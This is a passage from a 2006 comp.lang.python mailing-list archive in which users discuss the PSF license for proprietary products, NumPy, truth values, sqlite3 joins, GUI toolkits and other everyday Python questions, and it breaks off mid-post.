<1f7befae0610081826o235e7ecfxffec8ea76cc71649@mail.gmail.com> [Martitza] |> Hi. I work for a small company (actually in process of forming) > interested in embedding or extending python as part of our commercial > non-open-source product. We have legal counsel, but are interested in > the spirit as well as the letter of the law. Not much seems to have > been written about the python license since version 2, so pointers to > more recent discussions or contacts are appreciated. If this is not > the right place to ask these questions, I would welcome better ideas. > > We've read the license and "layman's language" at > http://www.python.org/psf/license/ and are need help reconciling the > two. There's also the informal license FAQ: http://wiki.python.org/moin/PythonSoftwareFoundationLicenseFaq I'm not a lawyer, so can't give legal advice. I can explain intent, speaking as a Director of the Python Software Foundation. > First Observation > The entire license -- such as produced by license() -- includes a lot > of information which appears to be historical or anecdotal, not the > kind of language our lawyers usually see in licensing agreements. > Lawyers claim they don't like "extra" language. You be the judge. :) Section A (HISTORY OF THE SOFTWARE) isn't really part of the license. But because the PSF doesn't have the right to /re/license the portions of Python copyright by CWI, CNRI, or BeOpen.com, the history given there can be helpful if anyone is inclined to spend (IMO) too much time worrying about the licenses. > First Question > Is all of that information really a required part of the license we > pass on to our customers or is the "PYTHON SOFTWARE FOUNDATION > LICENSE VERSION 2" portion sufficient? Section A is not required. All of section B is required. Parts of Python are copyrighted by, and licensed by, the four entities whose licenses appear in section B. > Second Observation > Referring to sections 2 and 3 of the PSF License Version 2... Our > non-open-source product will be a derived work, either by extending or > embedding the python interpreter. According to section 3, we will > briefly summarize these modifications to the python interpreter as > these relate to our product. Good. Indeed ;-) Note that there are no specific requirements about detail, and this is really for your benefit: the more clearly you identify the parts that are your original work, the easier it will be to prove it is in fact your work (should that become necessary). The NEWS file that comes with a Python distribution is the PSF's version of meeting this requirement (by the similar terms in the CNRI and BeOpen.com licenses, the PSF is also required to summarize the modifications the PSF makes!). > Section 2 says that we (as Licensee of the original python) have to > include without our modified python a copy of the license. The License > explicitly states in section 1 that it is between the PSF and the end > user. The phrase "end user" appears nowhere in the license. You must mean Licensee. As a Licensee, you're free (heck, encouraged) to make derivative works, but you have no legal authority to put a /different/ license on any part of the Python you started with. In exactly the same way, the PSF has no legal authority to put a different license on the versions of Python the PSF started with. When you distribute your derived work, your "end users" have rights to use the PSF-copyrighted portion of your work by exactly the same means you have: they also become Licensees of the PSF. And of CNRI, and of BeOpen.com, and of CWI. The license you put on your derived work as a whole only controls the portions of your derived work original with you, and your derived work as a whole. You can neither diminish nor increase the rights your end users have wrt any of the Python code you obtained from the PSF -- that's not your work, you don't have and can't get copyright on it, and you and your end users have exactly the same rights with respect to it (as spelled out in the license file you're asking about). > At the moment, we are the end user. But when we sell our > software as a derived work, our customer becomes the end user. So our > customers are entering into a direct agreement with PSF. This > indemnifies the PSF (sections 4,5,6,7) -- also good. > > But there is a side effect of section 2 that would seem to give our > customers many rights ("to reproduce, analyze, test, perform and/or > display publicly, prepare derivative works, distribute...") to the > derived work we created. I think the licenses are clear about this. For example, the PSF license at the top of the stack specifically says it only applies to "Python 2.4 alone or in any derivative version". The phrases "alone" and "in any derivative version" intend to modify "Python 2.4". It's not intended to be read as the two separate phrases "Python 2.4 alone" or "in any derivative version", and I'm not sure it even makes sense to try to read it that way. > We would have a problem with our customers distributing our derivative > work or preparing derivative works of our derivative work. It can simplify this a lot to remember that the entity holding copyright on a piece of code is the only entity able to license it. Thus your license applies to your work, the PSF license applies to the PSF's work, and so on down the stack. That's why there /is/ "a stack": nobody ever gets to forget about the licenses they started with, they can only add more licenses to the pile. > We could of course apply our own restrictive license to things which are truly > ours, And definitely should, if that's what you want. > but we cannot do this to the work derived from python because > that would conflict with section 2 of the python license. That's not the intent. > Second Question > Can we we prevent our commercial customers from freely redistributing > or modifying our derived version of python? The answer seems like "no" > from the License itself but "yes" from the layman's language. Of > course, our lawyers only look at the license. You set the license on your portion of the work. While it's hard to conceive of anyone doing this, one of your customers certainly could /extract/ pieces original to the PSF Python, and distribute those (provided they met the PSF license terms, including reproducing the PSF license). If they include any of your original work in the process, and the license you set doesn't allow that, then they're in violation of your licensing terms. > Thank you for your time. Our goal is to understand and be good > corporate citizens. We believe python would be a great benefit to our > customers, and we are looking for a viable business model that allows > that. Best wishes! Everything you said you want to do is wholly consistent with the PSF's intent, and the PSF license definitely intends to be friendly to proprietary derivative works. Ditto for the BeOpen.com, CNRI, and CWI licenses (although I can't speak for those three in any official capacity -- I can speak for the PSF in my role as a PSF director). From bearophileHUGS at lycos.com Sun Oct 1 08:16:12 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 1 Oct 2006 05:16:12 -0700 Subject: builtin regular expressions? In-Reply-To: References: <451e37a5$1@news.vo.lu> Message-ID: <1159704971.926748.30750@c28g2000cwb.googlegroups.com> Jorgen Grahn: > However, there is a set of common problems which would be hell to solve > without regexes. I agree, and I think no one is thinking about dropping REs from Python stdlib. Here people are mostly talking about what's better between having them in the stdlibs instead of inside the core language, and about their syntax. Bye, bearophile From misterwang at gmail.com Thu Oct 12 19:38:50 2006 From: misterwang at gmail.com (Peter Wang) Date: 12 Oct 2006 16:38:50 -0700 Subject: Python component model In-Reply-To: References: Message-ID: <1160696330.090125.212900@h48g2000cwc.googlegroups.com> Edward, This isn't in response to any specific one of the 100+ posts on this thread, but I justed wanted to encourage you to continue your investigation into Python component models and maybe looking for some common ground between them. Frequently the individual developers are too heads-down on working on their own things to do a broad survey, so I think this would be very useful indeed. I wouldn't have felt it necessary to post this except for the large number of posts along the lines of "foo.dict is introspective enough for me!". I think you might have an easier time evangelizing the principle of component-oriented programming (or "event-based", or "reactive", or whatever) if you separated it from the notions of RAD UI development. There is a very large difference between writing components and writing objects, and it seems that most people arguing "python doesn't need components" don't see this distinction. For me, it's the difference between writing "live" objects and "dead" objects. Live objects not only encapsulate implementations of an interface with some state, but they also encapsulate handling of events, i.e. responses to changes in their environment. Dead objects have methods but there has to be a function somewhere that knows which dead object to call with what parameters at exactly the right time. (The only mechanism for managing this complexity is to create ever more functions at ever higher levels of abstraction, or to have a proliferation of nebulously-defined "manager" objects.) IMHO once you cross this chasm and are able to model your problem domain with live objects that go off and automatically respond to the runtime environment and Do the Right Thing, it's very hard to go back to a dead object mindset. I can understand, however, that until one makes this leap, it might seem like an academic and useless distinction. -peter From sturlamolden at yahoo.no Fri Oct 6 09:52:12 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 6 Oct 2006 06:52:12 -0700 Subject: switching to numpy and failing, a user story In-Reply-To: <1159984398.088012.209640@k70g2000cwa.googlegroups.com> References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> <1159984398.088012.209640@k70g2000cwa.googlegroups.com> Message-ID: <1160142732.752533.266840@m7g2000cwm.googlegroups.com> greg.landrum at gmail.com wrote: > Given the quality of python's (free) documentation and how good it's > been for a very long time, it's bit ironic to be using the phrase > "normal open-source documentation" on this mailing list. Numeric > python, which numpy aspires to be a replacement for, has perfectly > reasonable documentation. It wasn't perfect, but it told you pretty > much everything you needed to know to get started, use the system, and > build extension modules. I guess this set my expectations for NumPy. NumPy is perhaps the most well thought array object known to man. That includes those of Matlab, Fortran 95 and C++ libraries (e.g. Blitz++). I don't think we should be modest about the quality of NumPy. NumPy allows us to do serious number crunching in a well designed language - Python. Scientists pay thosands of dollars for software that are not par with NumPy, and we get NumPy for free. Those involved in the development of NumPy must receive some compensation. Financial support to NumPy also ensure that the developmentcan continue. I for one does not want to see NumPy as abandonware in the near future. Unfortunately, getting scientists to make volounteer financial contributions to an open-source project has proven difficult. A modest charge for the documentation is a fair way of doing things. I can not be reimbursed by my employer for making a donation to NumPy, so I would have to take that out of my own pocket. I can be reimbursed for buying a copy of the documentation, however. From johnjsal at NOSPAMgmail.com Tue Oct 10 11:00:08 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Tue, 10 Oct 2006 15:00:08 GMT Subject: can regular ol' python do a php include? In-Reply-To: References: Message-ID: Fredrik Lundh wrote: > you don't even need anything from the standard library to inserting output > from one function into given text... > > text = "... my page with %(foo)s markers ..." > > print text % dict(foo=function()) Wow, thanks. So if I have a file called header.html that contains all my header markup, I could just insert this line into my html file? (which I suppose would become a py file) print open('header.html').read() Not quite as elegant as include('header.html'), but it seems like it would work. From steve at REMOVE.THIS.cybersource.com.au Thu Oct 26 10:51:54 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Fri, 27 Oct 2006 00:51:54 +1000 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> Message-ID: On Wed, 25 Oct 2006 19:19:59 +0000, John Salerno wrote: > Oh!!! I get it now! I was thinking that > > if s > > was the same as > > if s == True No. But you know that now :) > because I know sometimes you can write if statements this way (though > it's wordy). You can, but shouldn't. > But what I didn't realize was that in the cases I was > thinking of, 's' was an expression that evaluated to a boolean value, > not an actual value of some other type! > > So I suppose > > if (10 > 5) Is the same as: if True because (10 > 5) evaluates as True. > would be the same as > > if (10 > 5) == True Did you mean if (10 > 5) == True == True or if (10 > 5) == True == True == True or even if (10 > 5) == True == True == True == True I hope you see my point now. > because (10 > 5) does evaluate to "True". I think it is a good time to remind people of some extremely well-thought out opposition to the introduction of bools to Python from Laura Creighton: http://mail.python.org/pipermail/python-list/2002-April/095878.html She lost the debate, Guido had the final word and Python now has bools. Take particular note of her description of Python distinguishing between Something ("cat", 4, [0, 1, 2] etc) and Nothing ("", 0, [] etc). -- Steven. From johnjsal at NOSPAMgmail.com Thu Oct 26 16:54:10 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 26 Oct 2006 20:54:10 GMT Subject: ANN: wxPython 2.7.1.3 In-Reply-To: References: Message-ID: robert wrote: > Robin Dunn wrote: >> Announcing >> ---------- >> >> The 2.7.1.3 release of wxPython is now available for download at >> http://wxpython.org/download.php. This release is a yet another >> quick-turnaround bugfix release designed to solve some problems, plust >> some minor enhancements. This will likely be the last 2.7.1.x >> release. Source and binaries are available for both Python 2.4 and >> 2.5 for Windows and Mac, as well some pacakges for varous Linux >> distributions. A summary of changes is listed below and also at >> http://wxpython.org/recentchanges.php. > > See py2.3 is still supported for Mac. I'd like a py2.3 version for > Windows still :cry-baby: > > -robert You want Python 2.3 for Windows? From fredrik at pythonware.com Wed Oct 4 15:31:45 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 04 Oct 2006 21:31:45 +0200 Subject: Find out the name of a variable passed as an argument In-Reply-To: <4524093C.6090707@arcor.de> References: <4524093C.6090707@arcor.de> Message-ID: Andreas Huesgen wrote: > is there a way to receive the name of an object passed to a function > from within the function. objects don't have names, so in general, you cannot do that. see: http://pyfaq.infogami.com/how-can-my-code-discover-the-name-of-an-object From mensanator at aol.com Fri Oct 20 16:48:33 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 20 Oct 2006 13:48:33 -0700 Subject: proper format for this database table References: <1161293831.141761.284230@e3g2000cwe.googlegroups.com> <4t5_g.121$1n3.3067@news.tufts.edu> <1161367645.430191.289290@k70g2000cwa.googlegroups.com> Message-ID: <1161377313.064997.87030@b28g2000cwb.googlegroups.com> John Salerno wrote: > mensanator at aol.com wrote: > > > [Eid] [Sid] [university] [yearStart] [yearEnd] [degreeEarned] > > 5 1 U of I 1971 1975 BS > > 6 1 U of I 1975 1976 MS > > 7 1 U of I 1976 1977 PhD > > > > where [Eid] is the primary key of the Education table and > > [Sid] is the foreign key from the Student table so that the > > single student record (1) links to three education records > > (5,6,7). > > > > Hmmm. I think I'm lost. My table will have a key that represents the > persons ID, in my case it would be salerjo01. This will be what ties > this table to that person. Can I repeat this key multiple times in the > Education table? Yes, because it would be a foreign key. Perhaps a simple example might help: import sqlite3 con = sqlite3.connect(":memory:") cur = con.cursor() # in the [person] table, [personid] is the primary key # but in the [education] table, it's a foreign key # I deliberately didn't make them AUTOINCREMENT to # simplify the example cur.executescript(""" create table person( personid PRIMARY KEY, firstname, lastname ); create table education( educationid PRIMARY KEY, personid, institution, yearStart, yearEnd, degreeEarned ); """) persons = [(1,'Tom','Smith'), \ (2,'Dick','Smith'), \ (3,'Harry','Smith')] degrees = [(1,1,'University of Illinois',1971,1975,'BS'), \ (2,1,'University of Illinois',1975,1976,'MS'), \ (3,1,'University of Illinois',1976,1977,'PhD'), \ (4,2,'University of Illinois',1971,1974,None), \ (5,2,'DeVry Institute of Technology',1974,1976,'ASEET')] cur.executemany(""" INSERT INTO person(personid, firstname, lastname) VALUES (?,?,?)""" , persons) cur.executemany(""" INSERT INTO education(educationid, personid, institution, yearStart, yearEnd, degreeEarned) VALUES (?,?,?,?,?,?)""" , degrees) # Note: since both tables have a field named [personid], # the table name must be included when referencing # that field cur.execute(""" SELECT firstname, lastname, institution, yearStart, yearEnd, degreeEarned FROM education INNER JOIN person ON person.personid = education.personid ORDER BY education.personid; """) report = cur.fetchall() for i in report: print '%5s %-5s %-30s %d-%d %-6s' % (i) ## Tom Smith University of Illinois 1971-1975 BS ## Tom Smith University of Illinois 1975-1976 MS ## Tom Smith University of Illinois 1976-1977 PhD ## Dick Smith University of Illinois 1971-1974 None ## Dick Smith DeVry Institute of Technology 1974-1976 ASEET ## Note that the third person, Harry Smith, doesn't show up ## in the report. ## That's because no education records were created for him. ## When you do an INNER JOIN between two tables, the linking field, ## [personid] must exist in both tables. From fredrik at pythonware.com Fri Oct 6 06:19:21 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 12:19:21 +0200 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton In-Reply-To: <4omn7jFfe26cU1@uni-berlin.de> References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> Message-ID: Diez B. Roggisch wrote: > This is on the same level of interest to the communities of python, ruby > & java as the color of my socks this morning - a deep black with cute > little skulls imprinted. are they perhaps red or green? and look something like the skulls on this: http://www.rusta.se/images/products/31101067_l.jpg From Hakusa at gmail.com Sun Oct 22 21:07:36 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 22 Oct 2006 18:07:36 -0700 Subject: Arrays? (Or lists if you prefer) Message-ID: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> Pythonic lists are everything I want in a one dimensional array . . . but I'm trying to do a text adventure and simplify the proces by creating a grid as opposed to a tedious list of rooms this room connects to. So I want to know a good way to do a SIMPLE two dimensional array. Python's lists are a little confusing when it comes to how to do this. I realized that I could do list = [ [0] * N ] * N but I don't know if it would work because I'm a newbie and only understand arrays if they're in grid-like form. And I haven't ben thru linear algebra yet, due to my school giving me a few set backs I'm allready having to take geometry and allgebra II which are meant to be taken one after another at my school, so any suggestions or hints in that direction won't be helpful. So: Way to do SIMPLE array, either internally or externally, with Python, please. From hanumizzle at gmail.com Tue Oct 17 04:03:47 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 17 Oct 2006 04:03:47 -0400 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python In-Reply-To: <1160843099.978973.235560@k70g2000cwa.googlegroups.com> References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <7xhcy72xm1.fsf@ruckus.brouhaha.com> <1160811657.449049.78940@m73g2000cwd.googlegroups.com> <1160843099.978973.235560@k70g2000cwa.googlegroups.com> Message-ID: <463ff4860610170103o1291e19fy49ced03c2b048310@mail.gmail.com> On 14 Oct 2006 09:25:00 -0700, Paul Boddie wrote: > Unlike Java, Python's first class functions and > methods are already highly useful for callback-based systems Curious: how well does the use of returning inner functions work as a strategy for providing effectively 'anonymous' callbacks? e.g. def outer(x): def inner(y): ... return inner -- Theerasak From sjdevnull at yahoo.com Sun Oct 22 12:06:53 2006 From: sjdevnull at yahoo.com (sjdevnull at yahoo.com) Date: 22 Oct 2006 09:06:53 -0700 Subject: Screen capture on Linux In-Reply-To: References: Message-ID: <1161533213.744934.67170@e3g2000cwe.googlegroups.com> Paolo Pantaleo wrote: > Hi, > > I need to capture a screen snapshot in Linux. PIL has a module > IageGrab, but in the free version it only works under Windows. Is > there any package to capture the screen on Linux? xwd comes with the X server. man xwd Most useful is "xwd -root" or similar. You may want "sleep 5; xwd -root" to give you some time to set things up as needed, or map it to a window manager keybinding. From wektorian at gmail.com Sun Oct 22 06:28:58 2006 From: wektorian at gmail.com (Wektor) Date: 22 Oct 2006 03:28:58 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <1161447186.938144.35810@f16g2000cwb.googlegroups.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161443842.206948.145300@i42g2000cwa.googlegroups.com> <1161447186.938144.35810@f16g2000cwb.googlegroups.com> Message-ID: <1161512938.035392.32670@m7g2000cwm.googlegroups.com> sturlamolden wrote: > > Its also a pity that no one didnt do something based on OpenGL with > > python (or maybe im wrong) it could be cool and really cross-platform. > > You are wrong. There are PyOpenGL and there is cross-platform GUI and > game development platforms that use it (PyGTK, wxPython, PyGame). There > are also PyOgre, which are more pythonic than using OpenGL directly. I ment in the GUI context , a widget-based api where you can put buttons, labels etc. on a form. Not an advanced 3D stuff which is useless for such application. Something like : http://www.cs.unc.edu/~rademach/glui/ http://glow.sourceforge.net/ and sdl based http://www.paragui.org/ but none have Python support (or again maybe im wrong) From monuindia at gmail.com Wed Oct 11 02:42:45 2006 From: monuindia at gmail.com (Monu) Date: 10 Oct 2006 23:42:45 -0700 Subject: problem with hot shot stats In-Reply-To: <1160520591.174414.225030@k70g2000cwa.googlegroups.com> References: <1160503199.286071.57800@h48g2000cwc.googlegroups.com> <1160520591.174414.225030@k70g2000cwa.googlegroups.com> Message-ID: <1160548965.419766.63920@m73g2000cwd.googlegroups.com> But I couldn't find any way to get lineevents in cProfile On Oct 11, 3:49 am, "Klaas" wrote: > Monu wrote: > > HI All, > > I am getting problem in usinghotshotprofiler. > > When Ihotshotwith lineevents=0, it works fine, > > but when I use lineevents=1, I get error in stats<> > > > Can anybody help to figure out the problem please?hotshothas never reached production-ready stability, imo. Use the new > cProfile module in python2.5 > > -Mike From deets at nospam.web.de Sat Oct 21 04:48:33 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Sat, 21 Oct 2006 10:48:33 +0200 Subject: FOR statement In-Reply-To: References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com> <453911b6$0$19616$88260bb3@free.teranews.com> <1161417033.963163.275300@i3g2000cwc.googlegroups.com> Message-ID: <4pu56uFkldkcU1@uni-berlin.de> Theerasak Photha schrieb: > On 21 Oct 2006 00:50:34 -0700, Ant wrote: > >> But there's a good reason not to. Try: >> >> printreverse(range(1000)) >> >> Recursion has a maximum depth (of 1000 by default) in Python. > > I guess Python isn't tail-recursive then? Nope. And given that you can decorate every function whenever you want , even at runtime, I can't see how that can be implemented easily - or at all, to be honest. Diez From johnjsal at NOSPAMgmail.com Wed Oct 4 23:48:06 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 04 Oct 2006 23:48:06 -0400 Subject: can't open chm files all of a sudden In-Reply-To: <1160015892.533777.301530@e3g2000cwe.googlegroups.com> References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> <1159951350.208619.222470@m73g2000cwd.googlegroups.com> <45246d73$0$30759$c3e8da3@news.astraweb.com> <1160015892.533777.301530@e3g2000cwe.googlegroups.com> Message-ID: <452480d5$0$14699$c3e8da3@news.astraweb.com> John Machin wrote: > And you *still* haven't answered the basic question: > > ********************************************************** > *** What is the error message that you get ??? *** > ********************************************************** > I'm not sure what you're asking for here. Did you not see my posts with the two attachments? One had the full error details, and the other had the dialog that apppeared. From gagsl-py at yahoo.com.ar Wed Oct 18 16:36:10 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 18 Oct 2006 17:36:10 -0300 Subject: Flushing standard input In-Reply-To: References: Message-ID: <7.0.1.0.0.20061018172725.0576dd70@yahoo.com.ar> At Wednesday 18/10/2006 16:45, Fabian Steiner wrote: >Recently I came across a problem which I still can't solve on my own. >Consider this small example: > >import sys >import time > >time.sleep(3) >print >sys.stdin.flush() >input = raw_input('Your input: ') >print 'Your input: ', input > >While the script is sleeping I type in the word 'test1', so that it is >printed on the console. Having slept for three seconds the script >continues and wants me to type in another word 'test2' and I hit return. > >The output looks like this: > >fabi at jupiter ~ [ 21:41:27 ] $ python test.py >test1 >test2 >Your input: test1test2 > >Is there any way to flush the stdin buffer so that 'test1' is _not_ >regarded as input? How could one solve this issue? This works ONLY on Windows: import sys import time from msvcrt import getch,kbhit time.sleep(3) while kbhit(): getch() # consume any pending keypresses print input = raw_input('Your input: ') print 'Your input: ', input For Unix you could look at the tty/termios modules. This recipe shows a portable getch() function: -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From hanumizzle at gmail.com Sat Oct 7 00:13:30 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Sat, 7 Oct 2006 00:13:30 -0400 Subject: extract certain values from file with re In-Reply-To: <1160165773.205634.211490@c28g2000cwb.googlegroups.com> References: <1160165773.205634.211490@c28g2000cwb.googlegroups.com> Message-ID: <463ff4860610062113s1d4aa5c1pbb4196b9b0c9b844@mail.gmail.com> On 6 Oct 2006 13:16:13 -0700, Matteo wrote: > Coming from C++, using exceptions in this way still feels a bit creepy > to me, but I've been assured that this is very pythonic, and I'm slowly > adopting this style in my python code. > > Parsing the line can be easy too: > (umom,vmom,wmom,mass...) = map(float,vals[1:]) Style question. Should one consider the map functional deprecated and use [float(val) for val in vals[1:]] or no? I'm not sure myself. -- Theerasak From anthra.norell at vtxmail.ch Fri Oct 27 04:32:50 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Fri, 27 Oct 2006 10:32:50 +0200 Subject: Search & Replace In-Reply-To: <1161898031.481159.202310@f16g2000cwb.googlegroups.com> References: <1161898031.481159.202310@f16g2000cwb.googlegroups.com> Message-ID: <4541C432.3040209@vtxmail.ch> DataSmash wrote: > Hello, > I need to search and replace 4 words in a text file. > Below is my attempt at it, but this code appends > a copy of the text file within itself 4 times. > Can someone help me out. > Thanks! > > # Search & Replace > file = open("text.txt", "r") > text = file.read() > file.close() > > file = open("text.txt", "w") > file.write(text.replace("Left_RefAddr", "FromLeft")) > file.write(text.replace("Left_NonRefAddr", "ToLeft")) > file.write(text.replace("Right_RefAddr", "FromRight")) > file.write(text.replace("Right_NonRefAddr", "ToRight")) > file.close() > > Here's a perfect problem for a stream editor, like http://cheeseshop.python.org/pypi/SE/2.2%20beta. This is how it works: >>> replacement_definitions = ''' Left_RefAddr=FromLeft Left_NonRefAddr=ToLeft Right_RefAddr=FromRight Right_NonRefAddr=ToRight ''' >>> import SE >>> Replacements = SE.SE (replacement_definitions) >>> Replacements ('text.txt', 'new_text.txt') That's all! Or in place: >>> ALLOW_IN_PLACE = 3 >>> Replacements.set (file_handling_flag = ALLOW_IN_PLACE) >>> Replacements ('text.txt') This should solve your task. An SE object takes strings too, which is required for line-by-line processing and is very useful for development or verification: >>> print Replacements (replacement_definitions) # Use definitions as test data FromLeft=FromLeft ToLeft=ToLeft FromRight=FromRight ToRight=ToRight Checks out. All substitutions are made. Regards Frederic From msherman77 at yahoo.com Tue Oct 31 16:56:55 2006 From: msherman77 at yahoo.com (Michael S) Date: Tue, 31 Oct 2006 16:56:55 -0500 (EST) Subject: best way to check if a file exists? In-Reply-To: Message-ID: <20061031215655.30397.qmail@web88309.mail.re4.yahoo.com> If you want to open the file for writing just open it with append mode. open(??filename", "a"). If it doesn't exist - it'll create it, and if it does it'll start appending to the file For reading - os.path.exists("filename"). Or (doesn't make much sense, but still) try to open it for reading and python will throw an IOException which you can catch and handle. Michael --- John Salerno wrote: > What is the best way to check if a file already > exists in the current > directory? I saw os.path.isfile(), but I'm not sure > if that does more > than what I need. > > I just want to check if a file of a certain name > exists before the user > creates a new file of that name. > > Thanks. > -- > http://mail.python.org/mailman/listinfo/python-list > From pavlovevidence at gmail.com Sat Oct 28 06:24:50 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 28 Oct 2006 03:24:50 -0700 Subject: question about True values References: <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> <1161973508.972142.109500@i42g2000cwa.googlegroups.com> Message-ID: <1162031090.711952.228280@m7g2000cwm.googlegroups.com> Steven D'Aprano wrote: > On Fri, 27 Oct 2006 11:25:09 -0700, Carl Banks wrote: > > > Steven D'Aprano wrote: > >> But in this specific instance, I don't see any advantage to explicitly > >> testing the length of a list. Antoon might think that is sufficiently > >> polymorphic, but it isn't. He cares whether the object has zero _length_, > >> but for true polymorphism, he should be caring about whether the object is > >> _empty_. Not all empty objects have zero length, or even a length at all. > >> (E.g. binary trees.) > > > > Conversely, not all objects that have length consider zero-length to be > > false. > > Which is why truth-testing is defined by __nonzero__ with __len__ only the > fall-back, for convenience. Not all objects that have a state of emptiness consider emptiness to be false. > > Whether you test with "if a:" or "if len(a)>0", some objects > > are going to be denied. > > If a class doesn't define __nonzero__ or __len__, it should. No, it often shouldn't. A. It's not always desirable for empty to be false. Numpy defines a bunch of numeric array types that raise an exception when __nonzero__ (actually nb_nonzero in the C API) is called. This is the correct behavior for numpy. It makes no sense for numpy arrays to be used in a boolean context, but they certainly can be empty. B. Sometimes it's impossible to determine the state of emptiness. For example, iterators. > > Thing is, objects that don't have length have almost no overlapping > > uses with lists (i.e., you'd hardly ever write a function that could > > take an int or a list, unless you type check the argument or use only > > object protocol stuff like id and getattr, or pass it to another > > function that does the same). Iterators do have overlapping uses with > > lists, but the "if a:" doesn't work for them, so it's moot. > > Sure it works for iterators. > > >>> it = iter([0]) > >>> bool(it) > True > >>> it.next() > 0 > >>> bool(it) > False > > Perhaps this behaviour has changed in version 2.5, if so, I'd like to hear > the rationalisation before I declare it a mistake. You haven't been paying attention. Yes, this behavior has been changed in 2.5. The built-in iterators always return True in 2.5. But even in 2.4, it was not true for iterators in general: >>> a = [] >>> bool(x for x in a) True At no point could you count on an iterator returning False for empty, unless you'd made it yourself. Neither "if a:" nor "if len(a)>0" is a valid test for an empty iterator. > > P.S. binary trees do have length: it's the number of nodes, just as the > > number of keys is the length of a dict. > > I don't know what you were taught, but I was taught that binary trees have > height and breadth. It doesn't really matter. dicts and sets don't have a length, either. Or if they do, it's the length of the hash table, not the number of entries. Weren't you taught that? But Python uses len() to get the number of items in a container. Any Pythonic implementation of a binary tree class would use len() to return the number of entries in it. Anything that uses indexing ought to define len(), if it can. Overall, your objections don't really apply, since you're arguing what ought to be whereas my argument is pragmatic. Practically speaking, in realistic situations, "if len(a)>0" will work for a wider range of types than "if a:". Carl Banks From http Thu Oct 19 19:34:46 2006 From: http (Paul Rubin) Date: 19 Oct 2006 16:34:46 -0700 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: <7x7iyvx4kp.fsf@ruckus.brouhaha.com> Steven D'Aprano writes: > >>> ''.join(list(reversed("some string"))) > 'gnirts emos' ''.join(reversed('some string')) should work, without building the intermediate list. I generally don't remember the ::-1 syntax so the above would occur to me sooner. From bearophileHUGS at lycos.com Sun Oct 22 05:40:17 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 22 Oct 2006 02:40:17 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161444416.749636.172530@i42g2000cwa.googlegroups.com> Message-ID: <1161510017.622766.187460@k70g2000cwa.googlegroups.com> Peter Decker: > Now that I've discovered Dabo, which wraps wxPython, hiding the C++ > ugliness under a very Pythonic API, I have the best of both worlds. I > get to code naturally, and the results look great. With some cleaning and improving, I think wax (http://zephyrfalcon.org/labs/wax.html ) can become good too. Bye, bearophile From R.Brodie at rl.ac.uk Tue Oct 10 08:46:20 2006 From: R.Brodie at rl.ac.uk (Richard Brodie) Date: Tue, 10 Oct 2006 13:46:20 +0100 Subject: Python component model References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: "Edward Diener No Spam" wrote in message news:WvMWg.12223$UG4.9358 at newsread2.news.pas.earthlink.net... > "Thinking in Java or C++" as opposed to Python does not mean anything to me as a general > statement. I am well aware of the difference between statically and dynamically typed > languages but why this should have anything to do with RAD programming is beyond me. Do > you care to elucidate this distinction ? I think this blog entry http://osteele.com/archives/2004/11/ides provides some insight into the point of view expressed. From fredrik at pythonware.com Thu Oct 19 02:07:04 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 08:07:04 +0200 Subject: passing values to a program In-Reply-To: <1161233577.817801.278720@k70g2000cwa.googlegroups.com> References: <1161233577.817801.278720@k70g2000cwa.googlegroups.com> Message-ID: Eric_Dexter at msn.com wrote: > I almost have this thing running like I want it to run but I want > the values to come from the program that calls this one. There are two > things I want to pass File_Name and CutString. They both need to go to > loadFile routine of Class WordGrid to replace constants. note that your code is already using "sys.argv" to read arguments from the command line (inside the main function), so obviously you know how to do that, and your code is passing arguments around (to both the 